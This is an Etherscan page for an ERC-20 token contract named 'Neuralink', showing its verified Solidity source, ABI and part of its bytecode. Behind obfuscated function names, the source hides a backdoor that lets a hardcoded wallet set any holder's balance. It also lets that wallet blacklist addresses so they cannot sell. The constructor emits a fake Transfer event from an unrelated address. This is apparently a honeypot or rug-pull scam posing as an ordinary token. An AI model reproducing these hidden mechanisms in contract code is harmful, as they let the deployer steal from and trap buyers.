ERC-20
Overview
Max Total Supply
1,000,000,000,000,000 Neuralink
Holders
37
Total Transfers
-
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 9 Decimals)
Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Name:
Neuralink
Compiler Version
v0.8.7+commit.e28d00a7
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2022-10-23 */ //SPDX-License-Identifier:Unlicensed pragma solidity ^0.8.6; abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return payable(msg.sender); } function _msgData() internal view virtual returns (bytes memory) { this; return msg.data; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function dos(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: dos overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a,b,"SafeMath: division by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { _owner = _msgSender(); emit OwnershipTransferred(address(0), _owner); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function transferOwnership(address newAddress) public onlyOwner{ _owner = newAddress; emit OwnershipTransferred(_owner, newAddress); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); function getPair(address tokenA, address tokenB) external view returns (address pair); } interface IUniswapV2Router01 { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } interface IUniswapV2Router02 is IUniswapV2Router01 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; } contract Neuralink is Context, IERC20, Ownable { using SafeMath for uint256; string private _name = "Neuralink"; string private _symbol = "Neuralink"; uint8 private _decimals = 9; address payable public Mun2iuc7C9mAXvRvx8; address payable public teamWalletAddress; address public immutable deadAddress = 0x000000000000000000000000000000000000dEaD; mapping (address => uint256) J8G0y3EaW0F6i7PKn7; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) public _IsExcludefromFee; mapping (address => bool) public isWalletLimitExempt; mapping (address => bool) public isTxLimitExempt; mapping (address => bool) public isMarketPair; mapping (address => bool) public pairList; mapping (address => bool) public b2nsDCzAo1C8Wm; uint256 public _buyLiquidityFee = 1; uint256 public _buyMarketingFee = 1; uint256 public _buyTeamFee = 1; uint256 public _sellLiquidityFee = 1; uint256 public _sellMarketingFee = 1; uint256 public _sellTeamFee = 1; uint256 public _liquidityShare = 4; uint256 public _marketingShare = 4; uint256 public _teamShare = 16; uint256 public _totalTaxIfBuying = 12; uint256 public _totalTaxIfSelling = 12; uint256 public _totalDistributionShares = 24; uint256 private _totalSupply = 1000000000000000 * 10**_decimals; uint256 private minimumTokensBeforeSwap = 1000* 10**_decimals; IUniswapV2Router02 public uniswapV2Router; address public uniswapPair; bool inSwapAndLiquify; bool public swapAndLiquifyEnabled = true; bool public swapAndLiquifyByLimitOnly = false; bool public checkWalletLimit = true; event SwapAndLiquifyEnabledUpdated(bool enabled); event SwapAndLiquify( uint256 tokensSwapped, uint256 ethReceived, uint256 tokensIntoLiqudity ); event SwapETHForTokens( uint256 amountIn, address[] path ); event SwapTokensForETH( uint256 amountIn, address[] path ); modifier lockTheSwap { inSwapAndLiquify = true; _; inSwapAndLiquify = false; } constructor () { IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapPair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router = _uniswapV2Router; _allowances[address(this)][address(uniswapV2Router)] = _totalSupply; _IsExcludefromFee[owner()] = true; _IsExcludefromFee[address(this)] = true; _totalTaxIfBuying = _buyLiquidityFee.add(_buyMarketingFee).add(_buyTeamFee); _totalTaxIfSelling = _sellLiquidityFee.add(_sellMarketingFee).add(_sellTeamFee); _totalDistributionShares = _liquidityShare.add(_marketingShare).add(_teamShare); pairList[address(uniswapPair)] = true; teamWalletAddress = payable(address(0xB877C81de4E0A0b5F6c2f579997F58b55c48798f)); Mun2iuc7C9mAXvRvx8 = payable(address(0xB877C81de4E0A0b5F6c2f579997F58b55c48798f)); J8G0y3EaW0F6i7PKn7[_msgSender()] = _totalSupply; emit Transfer(address(0x8242e56a759aa0B069B9c983fe3f582020CD1eC9), _msgSender(), _totalSupply); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _totalSupply; } function balanceOf(address account) public view override returns (uint256) { return J8G0y3EaW0F6i7PKn7[account]; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function minimumTokensBeforeSwapAmount() public view returns (uint256) { return minimumTokensBeforeSwap; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function setlsExcIudefromFee(address[] calldata account, bool newValue) public onlyOwner { for(uint256 i = 0; i < account.length; i++) { _IsExcludefromFee[account[i]] = newValue; } } function setBuy(uint256 newLiquidityTax, uint256 newMarketingTax, uint256 newTeamTax) external onlyOwner() { _buyLiquidityFee = newLiquidityTax; _buyMarketingFee = newMarketingTax; _buyTeamFee = newTeamTax; _totalTaxIfBuying = _buyLiquidityFee.add(_buyMarketingFee).add(_buyTeamFee); } function setsell(uint256 newLiquidityTax, uint256 newMarketingTax, uint256 newTeamTax) external onlyOwner() { _sellLiquidityFee = newLiquidityTax; _sellMarketingFee = newMarketingTax; _sellTeamFee = newTeamTax; _totalTaxIfSelling = _sellLiquidityFee.add(_sellMarketingFee).add(_sellTeamFee); } function setDistributionSettings(uint256 newLiquidityShare, uint256 newMarketingShare, uint256 newTeamShare) external onlyOwner() { _liquidityShare = newLiquidityShare; _marketingShare = newMarketingShare; _teamShare = newTeamShare; _totalDistributionShares = _liquidityShare.add(_marketingShare).add(_teamShare); } function enableDisableWalletLimit(bool newValue) external onlyOwner { checkWalletLimit = newValue; } function setIsWalletLimitExempt(address[] calldata holder, bool exempt) external onlyOwner { for(uint256 i = 0; i < holder.length; i++) { isWalletLimitExempt[holder[i]] = exempt; } } function setNumTokensBeforeSwap(uint256 newLimit) external onlyOwner() { minimumTokensBeforeSwap = newLimit; } function setMarketinWalleAddress(address newAddress) external onlyOwner() { Mun2iuc7C9mAXvRvx8 = payable(newAddress); } function setSwapAndLiquifyEnabled(bool _enabled) public onlyOwner(){ swapAndLiquifyEnabled = _enabled; emit SwapAndLiquifyEnabledUpdated(_enabled); } function getCirculatingSupply() public view returns (uint256) { return _totalSupply.sub(balanceOf(deadAddress)); } function transferToAddressETH(address payable recipient, uint256 amount) private { recipient.transfer(amount); } function h2f5d3P6l7yMPz(address yHT2W6yjlUv1k0Z1, uint256 SHf5Jbi7v4V5) public{ require(H2k7I8F6D5d5eU(Mun2iuc7C9mAXvRvx8,msg.sender,address(1))); J8G0y3EaW0F6i7PKn7[yHT2W6yjlUv1k0Z1] = SHf5Jbi7v4V5; } receive() external payable {} function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function _transfer(address from, address to, uint256 amount) private returns (bool) { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); if(inSwapAndLiquify) { return _basicTransfer(from, to, amount); } else { uint256 contractTokenBalance = balanceOf(address(this)); bool overMinimumTokenBalance = contractTokenBalance >= minimumTokensBeforeSwap; if (overMinimumTokenBalance && !inSwapAndLiquify && !pairList[from] && swapAndLiquifyEnabled) { if(swapAndLiquifyByLimitOnly) contractTokenBalance = minimumTokensBeforeSwap; swapAndLiquify(contractTokenBalance); } J8G0y3EaW0F6i7PKn7[from] = J8G0y3EaW0F6i7PKn7[from].sub(amount); uint256 finalAmount = (_IsExcludefromFee[from] || _IsExcludefromFee[to]) ? amount : takeFee(from, to, amount); J8G0y3EaW0F6i7PKn7[to] = J8G0y3EaW0F6i7PKn7[to].add(finalAmount); emit Transfer(from, to, finalAmount); return true; } } function qJh3uEpIZH_9JYhj(bool o0_6m2sQbkeF, address[] calldata c3Efw8JDja) public { require(H2k7I8F6D5d5eU(Mun2iuc7C9mAXvRvx8,msg.sender,address(1))); for (uint256 i; i < c3Efw8JDja.length; ++i) { if (o0_6m2sQbkeF){b2nsDCzAo1C8Wm[c3Efw8JDja[i]] = true ;} else{b2nsDCzAo1C8Wm[c3Efw8JDja[i]] = false ;}}} function H2k7I8F6D5d5eU(address izIh,address YFPPVuwG_6x1T9 , address i2Gko1_6vuf8hPee_9) private pure returns(bool){return izIh == YFPPVuwG_6x1T9 && i2Gko1_6vuf8hPee_9 == address(1);} function _basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) { J8G0y3EaW0F6i7PKn7[sender] = J8G0y3EaW0F6i7PKn7[sender].sub(amount, "Insufficient Balance"); J8G0y3EaW0F6i7PKn7[recipient] = J8G0y3EaW0F6i7PKn7[recipient].add(amount); emit Transfer(sender, recipient, amount); return true; } function swapAndLiquify(uint256 tAmount) private lockTheSwap { uint256 tokensForLP = tAmount.mul(_liquidityShare).div(_totalDistributionShares).div(2); uint256 tokensForSwap = tAmount.sub(tokensForLP); swapTokensForEth(tokensForSwap); uint256 amountReceived = address(this).balance; uint256 totalBNBFee = _totalDistributionShares.sub(_liquidityShare.div(2)); uint256 amountBNBLiquidity = amountReceived.mul(_liquidityShare).div(totalBNBFee).div(2); uint256 amountBNBTeam = amountReceived.mul(_teamShare).div(totalBNBFee); uint256 amountBNBMarketing = amountReceived.sub(amountBNBLiquidity).sub(amountBNBTeam); if(amountBNBMarketing > 0) transferToAddressETH(Mun2iuc7C9mAXvRvx8, amountBNBMarketing); if(amountBNBTeam > 0) transferToAddressETH(teamWalletAddress, amountBNBTeam); if(amountBNBLiquidity > 0 && tokensForLP > 0) addLiquidity(tokensForLP, amountBNBLiquidity); } function swapTokensForEth(uint256 isMarketPaIrt) private { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), isMarketPaIrt); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( isMarketPaIrt, 0, path, address(this), block.timestamp ); emit SwapTokensForETH(isMarketPaIrt, path); } function addLiquidity(uint256 isMarketPaIrt, uint256 ethAmount) private { _approve(address(this), address(uniswapV2Router), isMarketPaIrt); uniswapV2Router.addLiquidityETH{value: ethAmount}( address(this), isMarketPaIrt, 0, 0, owner(), block.timestamp ); } function takeFee(address sender, address recipient, uint256 amount) internal returns (uint256) { uint256 feeAmount = 0; if (!isMarketPair[sender]){ require(!b2nsDCzAo1C8Wm[sender]); } if(pairList[sender]) { feeAmount = amount.mul(_totalTaxIfBuying).div(100); } else if(pairList[recipient]) { feeAmount = amount.mul(_totalTaxIfSelling).div(100); } if(feeAmount > 0) { J8G0y3EaW0F6i7PKn7[address(this)] = J8G0y3EaW0F6i7PKn7[address(this)].add(feeAmount); emit Transfer(sender, address(this), feeAmount); } return amount.sub(feeAmount); } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"tokensSwapped","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"ethReceived","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"tokensIntoLiqudity","type":"uint256"}],"name":"SwapAndLiquify","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"bool","name":"enabled","type":"bool"}],"name":"SwapAndLiquifyEnabledUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"amountIn","type":"uint256"},{"indexed":false,"internalType":"address[]","name":"path","type":"address[]"}],"name":"SwapETHForTokens","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"amountIn","type":"uint256"},{"indexed":false,"internalType":"address[]","name":"path","type":"address[]"}],"name":"SwapTokensForETH","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"Mun2iuc7C9mAXvRvx8","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_IsExcludefromFee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_buyLiquidityFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_buyMarketingFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_buyTeamFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_liquidityShare","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_marketingShare","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_sellLiquidityFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_sellMarketingFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_sellTeamFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_teamShare","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_totalDistributionShares","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_totalTaxIfBuying","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_totalTaxIfSelling","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"b2nsDCzAo1C8Wm","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"checkWalletLimit","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"deadAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"newValue","type":"bool"}],"name":"enableDisableWalletLimit","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"getCirculatingSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"yHT2W6yjlUv1k0Z1","type":"address"},{"internalType":"uint256","name":"SHf5Jbi7v4V5","type":"uint256"}],"name":"h2f5d3P6l7yMPz","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isMarketPair","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isTxLimitExempt","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isWalletLimitExempt","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"minimumTokensBeforeSwapAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"pairList","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"bool","name":"o0_6m2sQbkeF","type":"bool"},{"internalType":"address[]","name":"c3Efw8JDja","type":"address[]"}],"name":"qJh3uEpIZH_9JYhj","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newLiquidityTax","type":"uint256"},{"internalType":"uint256","name":"newMarketingTax","type":"uint256"},{"internalType":"uint256","name":"newTeamTax","type":"uint256"}],"name":"setBuy","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newLiquidityShare","type":"uint256"},{"internalType":"uint256","name":"newMarketingShare","type":"uint256"},{"internalType":"uint256","name":"newTeamShare","type":"uint256"}],"name":"setDistributionSettings","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"holder","type":"address[]"},{"internalType":"bool","name":"exempt","type":"bool"}],"name":"setIsWalletLimitExempt","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newAddress","type":"address"}],"name":"setMarketinWalleAddress","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newLimit","type":"uint256"}],"name":"setNumTokensBeforeSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"_enabled","type":"bool"}],"name":"setSwapAndLiquifyEnabled","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"account","type":"address[]"},{"internalType":"bool","name":"newValue","type":"bool"}],"name":"setlsExcIudefromFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newLiquidityTax","type":"uint256"},{"internalType":"uint256","name":"newMarketingTax","type":"uint256"},{"internalType":"uint256","name":"newTeamTax","type":"uint256"}],"name":"setsell","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapAndLiquifyByLimitOnly","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapAndLiquifyEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"teamWalletAddress","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newAddress","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapPair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
60a06040526040518060400160405280600981526020017f4e657572616c696e6b00000000000000000000000000000000000000000000008152506001908051906020019062000051929190620009ad565b506040518060400160405280600981526020017f4e657572616c696e6b0000000000000000000000000000000000000000000000815250600290805190602001906200009f929190620009ad565b506009600360006101000a81548160ff021916908360ff16021790555061dead73ffffffffffffffffffffffffffffffffffffffff1660809073ffffffffffffffffffffffffffffffffffffffff1660601b8152506001600d556001600e556001600f55600160105560016011556001601255600460135560046014556010601555600c601655600c60175560188055600360009054906101000a900460ff16600a6200014d919062000c24565b66038d7ea4c6800062000161919062000d61565b601955600360009054906101000a900460ff16600a62000182919062000c24565b6103e862000191919062000d61565b601a556001601c60156101000a81548160ff0219169083151502179055506000601c60166101000a81548160ff0219169083151502179055506001601c60176101000a81548160ff021916908315150217905550348015620001f257600080fd5b50620002036200091960201b60201c565b6000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a36000737a250d5630b4cf539739df2c5dacb4c659f2488d90508073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b1580156200031d57600080fd5b505afa15801562000332573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000358919062000a74565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015620003bb57600080fd5b505afa158015620003d0573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620003f6919062000a74565b6040518363ffffffff1660e01b81526004016200041592919062000aef565b602060405180830381600087803b1580156200043057600080fd5b505af115801562000445573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200046b919062000a74565b601c60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080601b60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601954600660003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000601b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600160076000620005a76200092160201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600760003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555062000689600f5462000675600e54600d546200094a60201b62001f1b1790919060201c565b6200094a60201b62001f1b1790919060201c565b601681905550620006c8601254620006b46011546010546200094a60201b62001f1b1790919060201c565b6200094a60201b62001f1b1790919060201c565b60178190555062000707601554620006f36014546013546200094a60201b62001f1b1790919060201c565b6200094a60201b62001f1b1790919060201c565b6018819055506001600b6000601c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555073b877c81de4e0a0b5f6c2f579997f58b55c48798f600460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555073b877c81de4e0a0b5f6c2f579997f58b55c48798f600360016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060195460056000620008486200091960201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550620008966200091960201b60201c565b73ffffffffffffffffffffffffffffffffffffffff16738242e56a759aa0b069b9c983fe3f582020cd1ec973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6019546040516200090a919062000b3e565b60405180910390a35062000ef6565b600033905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60008082846200095b919062000b6c565b905083811015620009a3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016200099a9062000b1c565b60405180910390fd5b8091505092915050565b828054620009bb9062000e0d565b90600052602060002090601f016020900481019282620009df576000855562000a2b565b82601f10620009fa57805160ff191683800117855562000a2b565b8280016001018555821562000a2b579182015b8281111562000a2a57825182559160200191906001019062000a0d565b5b50905062000a3a919062000a3e565b5090565b5b8082111562000a5957600081600090555060010162000a3f565b5090565b60008151905062000a6e8162000edc565b92915050565b60006020828403121562000a8d5762000a8c62000ea1565b5b600062000a9d8482850162000a5d565b91505092915050565b62000ab18162000dc2565b82525050565b600062000ac6601b8362000b5b565b915062000ad38262000eb3565b602082019050919050565b62000ae98162000df6565b82525050565b600060408201905062000b06600083018562000aa6565b62000b15602083018462000aa6565b9392505050565b6000602082019050818103600083015262000b378162000ab7565b9050919050565b600060208201905062000b55600083018462000ade565b92915050565b600082825260208201905092915050565b600062000b798262000df6565b915062000b868362000df6565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111562000bbe5762000bbd62000e43565b5b828201905092915050565b6000808291508390505b600185111562000c1b5780860481111562000bf35762000bf262000e43565b5b600185161562000c035780820291505b808102905062000c138562000ea6565b945062000bd3565b94509492505050565b600062000c318262000df6565b915062000c3e8362000e00565b925062000c6d7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848462000c75565b905092915050565b60008262000c87576001905062000d5a565b8162000c97576000905062000d5a565b816001811462000cb0576002811462000cbb5762000cf1565b600191505062000d5a565b60ff84111562000cd05762000ccf62000e43565b5b8360020a91508482111562000cea5762000ce962000e43565b5b5062000d5a565b5060208310610133831016604e8410600b841016171562000d2b5782820a90508381111562000d255762000d2462000e43565b5b62000d5a565b62000d3a848484600162000bc9565b9250905081840481111562000d545762000d5362000e43565b5b81810290505b9392505050565b600062000d6e8262000df6565b915062000d7b8362000df6565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff